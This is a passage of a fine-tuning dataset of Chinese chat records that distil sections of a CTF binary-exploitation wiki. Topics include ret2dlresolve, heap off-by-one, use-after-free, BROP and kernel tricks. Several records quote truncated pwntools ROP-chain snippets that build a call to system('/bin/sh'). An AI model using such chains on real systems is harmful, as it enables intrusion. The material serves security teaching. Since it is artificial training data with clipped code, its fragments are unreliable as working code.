"552b4cbf4367a97de452cdcdeeb0a7883f86a8740b3a10439c8888514b901632", "split": "train", "split_group_key": "74bc62cbe83eac30c70abbf2", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:bash", "code:python"], "title": "利用 QEMU Monitor 读取 flag"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/qemu-monitor.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b1b0c9e0d094767ed87d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「read /bin/sh\\x00」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：read /bin/sh\\x00\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“read /bin/sh\\x00”展开。\n- rop.raw(0) rop.raw(0) rop.raw(0x0000000000400773) rop.raw(0x600B30+0x100+len(dynstr)) rop.raw(0x400516) # the second instruction of read@plt rop.raw(0xdeadbeef) rop.raw('a'(256-len(rop.chain()))) print(rop.dump()) print(len(rop.chain())) io.send(rop.chain()...\n- rop = ROP(\"./main_no_relro_64\") rop.raw(offset'a') rop.raw(csu(0, 1 ,elf.got['read'],0,0x600B30+0x100+len(dynstr),len(\"/bin/sh\\x00\"))) rop.raw(0x400607) rop.raw(\"a\"(256-len(rop.chain()))) io.send(rop.chain()) io.send(\"/bin/sh\\x00\") rop = ROP(\"./main_no_relr...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 620, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "read /bin/sh\\x00", "heading_path": ["read /bin/sh\\x00"], "original_id": "docs-56805fb53ef08985b37d", "original_line": 1348, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "c2cae75bf0e9e70e69a99679", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b1e47031ea78b66ea938", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「II、Class - 类的静态内容」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`\n标题：编写 QEMU 模拟设备\n章节：编写 QEMU 模拟设备 > QEMU Object Model > II、Class - 类的静态内容\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“II、Class - 类的静态内容”展开。\n- ` 下面是一个最简单的示例： `c struct A3Class { /< private >/ ObjectClass parent;\n- 当我们通过一个 TypeInfo 结构体定义了一个类之后，我们还需要定义一个 Class 结构体来定义这个类的静态内容，包括函数表、静态成员等，其应当继承于对应的 Class 结构体类型，例如我们若是要定义一个新的机器类，则其 Class 应当继承于 MachineClass。\n- 所有 Class 结构体类型的最终的父类都是 ObjectClass 结构体： ``c /* ObjectClass: 所有类的基类. #ObjectClass 仅包含一个整型类型 handler / struct ObjectClass { /< private >/ Type type;\n- const char object_cast_cache[OBJECT_CLASS_CAST_CACHE];\n- const char class_cast_cache[OBJECT_CLASS_CAST_CACHE];\n\n关键术语：\n- ROP/JOP\n- pwn\n- virtualization\n- qemu\n- environment\n- code:c\n\n代码/命令片段线索：\n- c: 15 行，首行 `/**`\n- c: 5 行，首行 `struct A3Class`\n- c: 15 行，首行 `static void a3_class_init(ObjectClass *oc, void *data)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1016, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "II、Class - 类的静态内容", "heading_path": ["编写 QEMU 模拟设备", "QEMU Object Model", "II、Class - 类的静态内容"], "original_id": "docs-43a7f281d47604ff1eb9", "original_line": 79, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "source_root": "docs", "source_sha256": "2dd89f4d0e692cd2b5368ed9171ed8032c6dec86399f5d12280fb17b811fa39c", "split": "train", "split_group_key": "a3f422cfc316a2a1092145ad", "subcategory": "pwn/virtualization/qemu", "terms": ["ROP/JOP", "pwn", "virtualization", "qemu", "environment", "code:c"], "title": "编写 QEMU 模拟设备"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b27edd748699fc9bda01", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location”展开。\n- rop = ROP(\"./main_partial_relro_64\") offset = 112+8 rop.raw(offset'\\x00') libc = ELF('libc.so.6') link_map, resolve_call = ret2dlresolve_with_fakelinkmap_x64(elf,fake_linkmap_addr, elf.got['read'],libc.sym['system']- libc.sym['read']) rop.raw(csu(0, 1, elf....\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 416, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location", "heading_path": ["construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location"], "original_id": "docs-0faf32c47617bca0bc6d", "original_line": 73, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "5610eb9dcb14c3bd04926a1c", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b3560a5a613cb7d1234e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake write relocation entry」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct fake write relocation entry\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“construct fake write relocation entry”展开。\n- rop.raw(write_got) rop.raw(r_info) rop.raw('a' (80 - len(rop.chain()))) rop.raw(sh) rop.raw('a' (100 - len(rop.chain()))) r.sendline(rop.chain()) r.interactive() `` 这次我们在 base_stage+24 处伪造了一个 write 的重定位项，仍然输出了对应的字符串。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `这次我们在 base_stage+24 处伪造了一个 write 的重定位项，仍然输出了对应的字符串。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 690, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "construct fake write relocation entry", "heading_path": ["construct fake write relocation entry"], "original_id": "docs-8620c7cea5b2011df015", "original_line": 1317, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "9f137b8d79d9b56cb986ef13", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b38a02ca430148827eb9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「上层：执行体 （Executive）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 二、内核态部分 > 上层：执行体 （Executive）\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“上层：执行体 （Executive）”展开。\n- 执行体（Executive）是 NT kernel 的核心部分， 本质上就是传统的操作系统内核本体，比较核心的一些子系统如下： - 对象管理器（Object Manager）：对象管理器是 执行体的底层部分 ，在内核中 所有的资源都是一个对象 （object），对象管理器便负责管理所有的内核对象。\n- 输入输出管理器（I/O Manager）：负责接收用户态程序的 I/O 请求（如访问磁盘），将其转换为对相关设备的调用。\n- 安全引用监视器（Security Reference Monitor）：Windows 使用访问控制列表（Access Control List）来确定对象的安全性，该子系统便负责实行安全规则。\n- 虚拟内存管理器（Virtual Memory Manager）：负责从内核层面进行整个操作系统的内存管理。\n- 进程管理器（Process Manager）：负责进程与线程的创建与销毁， _不负责直接调度_。\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 763, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "上层：执行体 （Executive）", "heading_path": ["基础知识", "二、内核态部分", "上层：执行体 （Executive）"], "original_id": "docs-31def0fae6b94b0f5c3c", "original_line": 1445, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "8c82919c8143ed835fc9f758", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b423b3e442ca6ce879fc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md` 中的章节「通用 kmalloc flag」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md`\n标题：简介\n章节：简介 > 通用 kmalloc flag\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“通用 kmalloc flag”展开。\n- 在对内核镜像或模块进行二进制逆向分析时，我们通常仅能看到 flag 为一个常量值，因此我们需要手动分析启动了那些 bit。\n- 此外，当使用了 __GFP_ZERO 这一 flag 时，分配的内核对象会在返回给使用者之前进行数据清零的工作，即等价于 kzalloc()。\n- 以下是常见的分配 flag 对应的值： - GFP_KERNEL：0xCC0 - GFP_KERNEL | __GFP_ZERO： 0xDC0 - GFP_KERNEL_ACCOUNT：0x400CC0 - GFP_KERNEL_ACCOUNT | __GFP_ZERO`： 0x400DC0\n- 若未开启 CONFIG_MEMCG_KMEM ，则 GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 等价。\n- 我们主要关注当这种机制启用时内核对象分配所发生的变化： - 常规情况下他们的分配都来自同一个 kmem_cache ——即通用的 kmalloc-xx 。\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 3 行，首行 `static __always_inline __alloc_size(1) void *kmalloc_noprof(size_t size, gfp_t flags)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1590, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "通用 kmalloc flag", "heading_path": ["简介", "通用 kmalloc flag"], "original_id": "docs-be1e13e9c18cae23d0a7", "original_line": 761, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md", "source_root": "docs", "source_sha256": "76936782c80ce1b0f0d08c8789bfbfcb4ecd58fc789cc6d0d20e256bcc37e801", "split": "train", "split_group_key": "25a1c466a3b44a558977e13a", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b4c2a8c4803189acf3aa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「示例 1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：堆中的 Off-By-One > off-by-one 利用思路 > 示例 1\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“示例 1”展开。\n- } ` 我们自己编写的 my_gets 函数导致了一个 off-by-one 漏洞，原因是 for 循环的边界没有控制好导致写入多执行了一次，这也被称为栅栏错误 > wikipedia: > 栅栏错误（有时也称为电线杆错误或者灯柱错误）是差一错误的一种。\n- } int main() { void chunk1,chunk2;\n- 如以下问题： > > 建造一条直栅栏（即不围圈），长 30 米、每条栅栏柱间相隔 3 米，需要多少条栅栏柱？\n- `` int my_gets(char ptr,int size) { int i;\n- i++) { ptr[i]=getchar();\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 18 行，首行 `int my_gets(char *ptr,int size)`\n- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1`\n- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1026, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "示例 1", "heading_path": ["堆中的 Off-By-One", "off-by-one 利用思路", "示例 1"], "original_id": "docs-d2e02ea40021ef7a8fb2", "original_line": 1013, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "98e5ec9d8778e91985bfcc1f", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b4e4010d8003591a41a7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md`\n标题：Use After Free\n章节：-- coding: utf-8 --\n路径分类：pwn / pwn/linux/user-mode\n分块：2/3\n\n核心知识点：\n- 本节主题围绕“-- coding: utf-8 --”展开。\n- `asm gef➤ grep aaaa [+] Searching 'aaaa' in memory [+] In '[heap]'(0x804b000-0x806c000), permission=rw- 0x804b018 - 0x804b01c → \"aaaa\" gef➤ grep ddaa [+] Searching 'ddaa' in memory [+] In '[heap]'(0x804b000-0x806c000), permission=rw- 0x804b050 - 0x804b054 →...\n- 同时，我们还可以看到note0与note1对应的content确实是相应的内存块。\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- 栈\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 1 行，首行 `**申请note 0的content的地址为0x0804b018**`\n- plain: 2 行，首行 `类似的，我们可以得到note1的地址以及其content的地址分别为0x0804b040 和0x0804b050。`\n- plain: 1 行，首行 `下面就是free的过程了。我们可以依次发现首先，note0的content被free`\n- plain: 1 行，首行 `然后是note0本身`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5132, "chunk_count": 3, "chunk_index": 1, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "-- coding: utf-8 --", "heading_path": ["-- coding: utf-8 --"], "original_id": "docs-52eccd20fa2fa5b8674f", "original_line": 1124, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "source_root": "docs", "source_sha256": "280ce3e15e835a91782f3994f9563b6399c11cb2ddc7b2393a90599906f09806", "split": "train", "split_group_key": "5d04a0d42b3766c77611f127", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "边界/溢出", "堆", "栈", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "Use After Free"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b552a27720e5c948ec9e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「基本介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 基本介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本介绍”展开。\n- BROP(Blind ROP)于2014年由Standford的Andrea Bittau提出，其相关研究成果发表在Oakland 2014，其论文题目是Hacking Blind，下面是作者对应的paper和slides,以及作者相应的介绍 - paper - slide BROP是没有对应应用程序的源代码或者二进制文件下，对程序进行攻击，劫持程序的执行流。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 298, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "基本介绍", "heading_path": ["中级ROP", "BROP", "基本介绍"], "original_id": "docs-fad57d256d382820ee7e", "original_line": 1282, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "7f954576ed0e4408fb941662", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b5610a524ca0a134a7c4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake stack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct fake stack\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“construct fake stack”展开。\n- ret rop.raw(0x600B30+len(dynstr)) rop.raw(0x400516) # the second instruction of read@plt rop.raw(0xdeadbeef) rop.raw('a'*(stack_size-len(rop.chain()))) io.send(rop.chain())\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 644, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "construct fake stack", "heading_path": ["construct fake stack"], "original_id": "docs-d65e06a2930b6d9c2b1e", "original_line": 71, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "d8c02fcea98e70a09edeb2b5", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b61ba402086f1cd5e441", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md` 中的章节「漏洞利用：ldt\\_struct 直接读取 initramfs 内容」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md`\n标题：在内存中直接搜索 flag\n章节：在内存中直接搜索 flag > 例题：RWCTF2023体验赛 - Digging into kernel 3 > 漏洞利用：ldt\\_struct 直接读取 initramfs 内容\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“漏洞利用：ldt\\_struct 直接读取 initramfs 内容”展开。\n- 既然题目中已经直接白给出了一个无限制的 UAF，那么利用方式就是多种多样的了 :-D 这里笔者选择利用 ldt_struct 直接在内存空间中搜索 flag 的方式解题。\n\n关键术语：\n- UAF\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 228, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "漏洞利用：ldt\\_struct 直接读取 initramfs 内容", "heading_path": ["在内存中直接搜索 flag", "例题：RWCTF2023体验赛 - Digging into kernel 3", "漏洞利用：ldt\\_struct 直接读取 initramfs 内容"], 